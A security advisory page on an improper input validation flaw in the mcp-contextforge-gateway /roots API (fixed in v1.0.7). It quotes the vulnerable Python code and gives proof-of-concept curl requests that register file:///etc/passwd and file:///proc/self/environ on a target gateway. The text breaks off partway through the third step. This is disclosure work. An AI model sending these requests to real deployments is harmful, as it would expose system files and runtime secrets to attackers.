Skip to content
IBMGHSA-x39c-q2jx-f325

IBM: improper input validation

Medium4.9Published Aug 24, 2026

### Summary The `/roots` REST API and the corresponding service layer in `mcpgateway/services/root_service.py` accept URI registration with **any** URI scheme — `file://`, `data://`, `ftp://`, and arbitrary custom schemes — with no scheme allowlist, no path restriction, and no per-team or per-scope filtering on read-back. The service-layer function `add_root()` contains a verbatim source comment confirming, in the project's own words, that no access check is performed at write time. The corresponding `list_roots()` function returns the complete root dictionary unchanged to every authenticated admin session. The combined behaviour allows an admin (a role that can be obtained pre-authentication against deployments running default secrets — see companion advisory (GHSA-m8rv-5m6m-32ff) on hardcoded `JWT_SECRET_KEY`) to register attacker-supplied `file://` URIs that are then surfaced to every other admin session and to any MCP client that subsequently issues `roots/list`. ### Project's own source-of-truth admission `mcpgateway/services/root_service.py`, inside `RootService.add_root()`: ```python async def add_root(self, uri: str, name: Optional[str] = None) -> Root: ... try:...

GitHub advisory

Affected versions

PackageAffectedFixed in
mcp-contextforge-gateway
PyPI
< v1.0.7v1.0.7
Details and references

### Summary The `/roots` REST API and the corresponding service layer in `mcpgateway/services/root_service.py` accept URI registration with **any** URI scheme — `file://`, `data://`, `ftp://`, and arbitrary custom schemes — with no scheme allowlist, no path restriction, and no per-team or per-scope filtering on read-back. The service-layer function `add_root()` contains a verbatim source comment confirming, in the project's own words, that no access check is performed at write time. The corresponding `list_roots()` function returns the complete root dictionary unchanged to every authenticated admin session. The combined behaviour allows an admin (a role that can be obtained pre-authentication against deployments running default secrets — see companion advisory (GHSA-m8rv-5m6m-32ff) on hardcoded `JWT_SECRET_KEY`) to register attacker-supplied `file://` URIs that are then surfaced to every other admin session and to any MCP client that subsequently issues `roots/list`. ### Project's own source-of-truth admission `mcpgateway/services/root_service.py`, inside `RootService.add_root()`: ```python async def add_root(self, uri: str, name: Optional[str] = None) -> Root: ... try: root_uri = self._make_root_uri(uri) except ValueError as e: raise RootServiceError(f"Invalid root URI: {e}") # Skip any access check; just store the key/value. ← project's own comment root_obj = Root( uri=root_uri, name=name or os.path.basename(urlparse(root_uri).path) or root_uri, ) ... ``` The literal comment `# Skip any access check; just store the key/value.` is committed to `main` and is the project's own classification of the function's policy. There is no caller-side compensating check: `add_root()` is invoked directly by the REST `POST /roots` handler with the request body URI passed through unchanged. ### Technical details `_make_root_uri()` in the same file accepts any scheme that `urlparse` recognises as a scheme, and converts scheme-less inputs into `file://` automatically: ```python def _make_root_uri(self, uri: str) -> str: parsed = urlparse(uri) if not parsed.scheme: # No scheme provided; assume a file URI and add file:// prefix return f"file://{uri}" # If a scheme is present (e.g., http, https, ftp, etc.), return the URI as-is. return uri ``` There is no scheme allowlist (`http`/`https`/`ws`/`wss` are the project's stated safe set in `validation_allowed_url_schemes` for other validators, but that allowlist is not consulted here). There is no path-traversal check, no `..` rejection, no `/etc`/`/proc`/`/sys` blocklist. `list_roots()` returns the in-memory dictionary unchanged: ```python async def list_roots(self) -> List[Root]: ... return list(self._roots.values()) ``` There is no per-user filter, no per-team filter, no per-scope filter, no public/private visibility flag. The same set of roots is served to every authenticated admin session and to every MCP client that requests `roots/list`. The roots are stored in a process-local `Dict[str, Root]` and persist for the lifetime of the gateway process. ### PoC **Requirements:** A platform-admin token against an unmodified deployment. Step 1 — Register a sensitive system path as a root: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://TARGET:4444/roots \ -H "Authorization: Bearer <admin token>" \ -H "Content-Type: application/json" \ -d '{"uri": "file:///etc/passwd", "name": "test-passwd"}' ``` Expected: `HTTP 200`. Step 2 — Register a second sensitive path covering runtime secrets exposure: ```bash curl -s -w "\nHTTP %{http_code}\n" \ -X POST http://TARGET:4444/roots \ -H "Authorization: Bearer <admin token>" \ -H "Content-Type: application/json" \ -d '{"uri": "file:///proc/self/environ", "name": "test-environ"}' ``` Expected: `HTTP 200`. Step 3 — Demonstrate scheme freed

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-20, CWE-441, CWE-862

More IBM advisories

All IBM

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.